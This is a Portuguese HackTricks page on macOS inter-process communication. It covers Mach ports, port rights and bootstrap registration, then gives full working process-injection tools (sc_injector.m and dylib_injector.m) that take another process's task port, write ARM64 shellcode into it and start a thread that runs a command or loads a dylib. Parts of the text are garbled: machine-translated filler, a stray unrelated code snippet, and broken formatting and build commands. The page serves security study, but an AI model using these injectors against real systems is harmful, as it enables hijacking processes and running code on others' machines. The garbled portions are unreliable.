37 KiB
macOS IPC - Comunicação Interprocessos
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Mensagens Mach via Portas
O Mach usa tarefas como a unidade mínima para compartilhar recursos, e cada tarefa pode conter várias threads. Essas tarefas e threads são mapeadas em um para um com processos e threads POSIX.
A comunicação entre tarefas ocorre por meio da Comunicação Interprocessos (IPC) do Mach, utilizando canais de comunicação unidirecionais. As mensagens são transferidas entre portas, que funcionam como filas de mensagens gerenciadas pelo kernel.
Cada processo possui uma tabela IPC, onde é possível encontrar as portas Mach do processo. O nome de uma porta Mach é na verdade um número (um ponteiro para o objeto do kernel).
Um processo também pode enviar um nome de porta com alguns direitos para uma tarefa diferente e o kernel fará com que essa entrada na tabela IPC da outra tarefa apareça.
Os direitos de porta, que definem quais operações uma tarefa pode executar, são fundamentais para essa comunicação. Os possíveis direitos de porta são:
- Direito de recebimento, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, único consumidor), o que significa que pode haver apenas um direito de recebimento para cada porta em todo o sistema (ao contrário de pipes, onde vários processos podem ter descritores de arquivo para a extremidade de leitura de um pipe).
- Uma tarefa com o direito de recebimento pode receber mensagens e criar direitos de envio, permitindo o envio de mensagens. Originalmente, apenas a própria tarefa tem o direito de recebimento sobre sua porta.
- Direito de envio, que permite enviar mensagens para a porta.
- O direito de envio pode ser clonado, então uma tarefa que possui um direito de envio pode clonar o direito e concedê-lo a uma terceira tarefa.
- Direito de envio único, que permite enviar uma mensagem para a porta e depois desaparece.
- Direito de conjunto de portas, que denota um conjunto de portas em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para ouvir várias portas simultaneamente, muito parecido com
select
/poll
/epoll
/kqueue
no Unix. - Nome morto, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.
As tarefas podem transferir direitos de ENVIO para outras, permitindo que elas enviem mensagens de volta. Os direitos de ENVIO também podem ser clonados, então uma tarefa pode duplicar e dar o direito a uma terceira tarefa. Isso, combinado com um processo intermediário conhecido como servidor de inicialização, permite uma comunicação efetiva entre tarefas.
Etapas:
Como mencionado, para estabelecer o canal de comunicação, o servidor de inicialização (launchd no Mac) está envolvido.
- A tarefa A inicia uma nova porta, obtendo um direito de RECEBIMENTO no processo.
- A tarefa A, sendo a detentora do direito de RECEBIMENTO, gera um direito de ENVIO para a porta.
- A tarefa A estabelece uma conexão com o servidor de inicialização, fornecendo o nome do serviço da porta e o direito de ENVIO por meio de um procedimento conhecido como registro de inicialização.
- A tarefa B interage com o servidor de inicialização para executar uma busca de inicialização para o serviço. Se bem-sucedido, o servidor duplica o direito de ENVIO recebido da Tarefa A e o transmite para a Tarefa B.
- Ao adquirir um direito de ENVIO, a tarefa B é capaz de formular uma mensagem e enviá-la para a Tarefa A.
O servidor de inicialização não pode autenticar o nome do serviço reivindicado por uma tarefa. Isso significa que uma tarefa poderia potencialmente se passar por qualquer tarefa do sistema, como reivindicar falsamente um nome de serviço de autorização e, em seguida, aprovar todas as solicitações.
Em seguida, a Apple armazena os nomes dos serviços fornecidos pelo sistema em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: /System/Library/LaunchDaemons
e /System/Library/LaunchAgents
. Ao lado de cada nome de serviço, o binário associado também é armazenado. O servidor de inicialização criará e manterá um direito de RECEBIMENTO para cada um desses nomes de serviço.
Para esses serviços predefinidos, o processo de busca difere um pouco. Quando um nome de serviço está sendo procurado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:
- A tarefa B inicia uma busca de inicialização para um nome de serviço.
- O launchd verifica se a tarefa está em execução e, se não estiver, a inicia.
- A tarefa A (o serviço) realiza um check-in de inicialização. Aqui, o servidor de inicialização cria um direito de ENVIO, o retém e transfere o direito de RECEBIMENTO para a Tarefa A.
- O launchd duplica o direito de ENVIO e o envia para a Tarefa B.
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam como descrito originalmente, o que poderia potencialmente permitir a falsificação.
Enumerar portas
Para identificar quais portas estão abertas em um sistema macOS, você pode usar várias ferramentas e técnicas. Aqui estão algumas opções:
-
Nmap: O Nmap é uma ferramenta de código aberto amplamente utilizada para varredura de portas. Você pode executar o Nmap no macOS para identificar as portas abertas em um determinado host ou rede.
Exemplo de comando Nmap para varredura de portas:
nmap <alvo>
-
Netstat: O Netstat é uma ferramenta de linha de comando que exibe informações sobre as conexões de rede ativas e as portas abertas em um sistema. No macOS, você pode usar o comando
netstat -an
para listar todas as portas abertas.Exemplo de comando Netstat para listar portas abertas:
netstat -an | grep LISTEN
-
Lsof: O Lsof é uma ferramenta de linha de comando que lista os arquivos abertos por processos em um sistema. No macOS, você pode usar o comando
lsof -i
para listar os processos que estão ouvindo em portas de rede.Exemplo de comando Lsof para listar processos que estão ouvindo em portas de rede:
lsof -i | grep LISTEN
Essas são apenas algumas das opções disponíveis para enumerar portas em um sistema macOS. É importante lembrar que a enumeração de portas em um sistema sem autorização prévia é considerada uma atividade ilegal e antiética. Portanto, sempre obtenha permissão adequada antes de realizar qualquer teste de segurança ou pentest.
lsmp -p <pid>
Você pode instalar essa ferramenta no iOS baixando-a em http://newosxbook.com/tools/binpack64-256.tar.gz
Exemplo de código
Observe como o remetente aloca uma porta, cria um direito de envio para o nome org.darlinghq.example
e o envia para o servidor de inicialização, enquanto o remetente solicita o direito de envio desse nome e o utiliza para enviar uma mensagem.
{% tabs %} {% tab title="receiver.c" %}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>
#define BUFFER_SIZE 100
int main(int argc, char** argv) {
mach_port_t server_port;
kern_return_t kr;
char buffer[BUFFER_SIZE];
// Create a send right to the bootstrap port
kr = bootstrap_look_up(bootstrap_port, "com.apple.securityd", &server_port);
if (kr != KERN_SUCCESS) {
printf("Failed to look up the server port: %s\n", mach_error_string(kr));
return 1;
}
// Send a message to the server
strcpy(buffer, "Hello, server!");
kr = mach_msg_send((mach_msg_header_t*)buffer);
if (kr != KERN_SUCCESS) {
printf("Failed to send message to server: %s\n", mach_error_string(kr));
return 1;
}
return 0;
}
{% endtab %}
{% tab title="receiver.c" %}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
{% endtab %} {% endtabs %}
Portas Privilegiadas
- Porta do host: Se um processo tem o privilégio de enviar sobre esta porta, ele pode obter informações sobre o sistema (por exemplo,
host_processor_info
). - Porta privilégiada do host: Um processo com o direito de enviar sobre esta porta pode realizar ações privilegiadas, como carregar uma extensão do kernel. O processo precisa ser root para obter essa permissão.
- Além disso, para chamar a API
kext_request
, é necessário ter outras permissõescom.apple.private.kext*
, que são concedidas apenas a binários da Apple. - Porta do nome da tarefa: Uma versão não privilegiada da porta da tarefa. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa que parece estar disponível através dela é
task_info()
. - Porta da tarefa (também conhecida como porta do kernel): Com permissão de envio sobre esta porta, é possível controlar a tarefa (ler/escrever memória, criar threads...).
- Chame
mach_task_self()
para obter o nome desta porta para a tarefa chamadora. Esta porta é herdada apenas através doexec()
; uma nova tarefa criada comfork()
recebe uma nova porta de tarefa (como um caso especial, uma tarefa também recebe uma nova porta de tarefa apósexec()
em um binário suid). A única maneira de criar uma tarefa e obter sua porta é realizar a "dança de troca de porta" enquanto faz umfork()
. - Estas são as restrições para acessar a porta (de
macos_task_policy
do binárioAppleMobileFileIntegrity
): - Se o aplicativo tiver a permissão
com.apple.security.get-task-allow
, processos do mesmo usuário podem acessar a porta da tarefa (comumente adicionado pelo Xcode para depuração). O processo de notarização não permitirá isso em lançamentos de produção. - Aplicativos com a permissão
com.apple.system-task-ports
podem obter a porta da tarefa para qualquer processo, exceto o kernel. Em versões mais antigas, era chamadatask_for_pid-allow
. Isso é concedido apenas a aplicativos da Apple. - Root pode acessar portas de tarefas de aplicativos não compilados com um tempo de execução fortificado (e não da Apple).
Injeção de Shellcode em thread via Porta da Tarefa
Você pode obter um shellcode em:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
{% tabs %} {% tab title="mysleep.m" %}
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
{% tab title="entitlements.plist" %}
O arquivo entitlements.plist
contém informações sobre as permissões e privilégios concedidos a um aplicativo no macOS. Essas permissões podem incluir acesso a recursos do sistema, como câmera, microfone, localização e muito mais. O arquivo entitlements.plist
é usado para definir as capacidades e restrições de um aplicativo, garantindo que ele tenha acesso apenas aos recursos necessários e autorizados.
Ao modificar o arquivo entitlements.plist
, é possível alterar as permissões concedidas a um aplicativo. Isso pode ser útil em cenários de teste de penetração, onde se deseja explorar vulnerabilidades de privilégio ou realizar escalonamento de privilégios. No entanto, é importante ressaltar que a modificação indevida do arquivo entitlements.plist
pode violar as políticas de segurança e privacidade do macOS.
Para modificar o arquivo entitlements.plist
, é necessário ter acesso de gravação ao aplicativo em questão. Isso pode ser feito usando técnicas de hacking, como injeção de código, exploração de vulnerabilidades ou engenharia reversa. Uma vez que o acesso de gravação é obtido, o arquivo entitlements.plist
pode ser editado para adicionar, remover ou modificar as permissões concedidas ao aplicativo.
É importante lembrar que a modificação do arquivo entitlements.plist
pode ter consequências significativas para a segurança e o funcionamento do aplicativo. Portanto, é recomendável realizar essas alterações apenas em um ambiente controlado e para fins legítimos, como testes de segurança ou desenvolvimento de software.
{% endtab %}
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
{% endtab %} {% endtabs %}
Compile o programa anterior e adicione as entitlements para poder injetar código com o mesmo usuário (caso contrário, você precisará usar sudo).
sc_injector.m
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>
#ifdef arm64
kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }
return (0); }
pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue]; }
BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }
NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }
inject(pid); }
return 0; }
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
Injeção de Dylib em thread via porta de tarefa
No macOS, as threads podem ser manipuladas através do Mach ou usando a API posix pthread
. A thread que geramos na injeção anterior foi gerada usando a API Mach, portanto, não é compatível com posix.
Foi possível injetar um shellcode simples para executar um comando porque não era necessário trabalhar com APIs compatíveis com posix, apenas com Mach. Injeções mais complexas precisariam que a thread também fosse compatível com posix.
Portanto, para melhorar a thread, ela deve chamar pthread_create_from_mach_thread
, que irá criar um pthread válido. Em seguida, esse novo pthread pode chamar dlopen para carregar uma dylib do sistema, então, em vez de escrever um novo shellcode para executar ações diferentes, é possível carregar bibliotecas personalizadas.
Você pode encontrar exemplos de dylibs em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}
dylib_injector.m
```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>#include <sys/stat.h> #include <pthread.h>
#ifdef arm64 //#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask; struct stat buf;
// Check if the library exists int rc = stat (lib, &buf);
if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Patch shellcode
int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {
// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
printf("Pthread create a partir do mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib);
}
}
// Escreva o shellcode na memória alocada
kr = mach_vm_write(remoteTask, // Porta da tarefa
remoteCode64, // Endereço virtual (Destino)
(vm_address_t) injectedCode, // Origem
0xa9); // Comprimento da origem
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Não foi possível escrever na memória da thread remota: Erro %s\n", mach_error_string(kr));
return (-3);
}
// Defina as permissões na memória do código alocado
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Não foi possível definir as permissões de memória para o código da thread remota: Erro %s\n", mach_error_string(kr));
return (-4);
}
// Defina as permissões na memória da pilha alocada
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Não foi possível definir as permissões de memória para a pilha da thread remota: Erro %s\n", mach_error_string(kr));
return (-4);
}
// Crie uma thread para executar o shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // esta é a pilha real
//remoteStack64 -= 8; // precisa de alinhamento de 16
const char *p = (const char *)remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
printf("Pilha Remota 64 0x%llx, Código Remoto é %p\n", remoteStack64, p);
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Não foi possível criar a thread remota: erro %s", mach_error_string(kr));
return (-3);
}
return (0);
}
int main(int argc, const char *argv[])
{
if (argc < 3)
{
fprintf(stderr, "Uso: %s _pid_ _ação_\n", argv[0]);
fprintf(stderr, " _ação_: caminho para um dylib no disco\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0)
inject(pid, action);
else
{
fprintf(stderr, "Dylib não encontrado\n");
}
}
Nesta técnica, uma thread do processo é sequestrada:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} macos-thread-injection-via-task-port.md {% endcontent-ref %}
XPC
Informações Básicas
XPC, que significa Comunicação Interprocessos XNU (o kernel usado pelo macOS), é uma estrutura para comunicação entre processos no macOS e iOS. O XPC fornece um mecanismo para fazer chamadas de método assíncronas e seguras entre diferentes processos no sistema. É parte do paradigma de segurança da Apple, permitindo a criação de aplicativos com privilégios separados, onde cada componente é executado com apenas as permissões necessárias para realizar seu trabalho, limitando assim os danos potenciais de um processo comprometido.
Para obter mais informações sobre como essa comunicação funciona e como ela pode ser vulnerável, consulte:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %} macos-xpc {% endcontent-ref %}
MIG - Gerador de Interface Mach
O MIG foi criado para simplificar o processo de criação de código Mach IPC. Basicamente, ele gera o código necessário para que o servidor e o cliente se comuniquem com uma definição específica. Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.
Para mais informações, consulte:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %} macos-mig-mach-interface-generator.md {% endcontent-ref %}
Referências
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
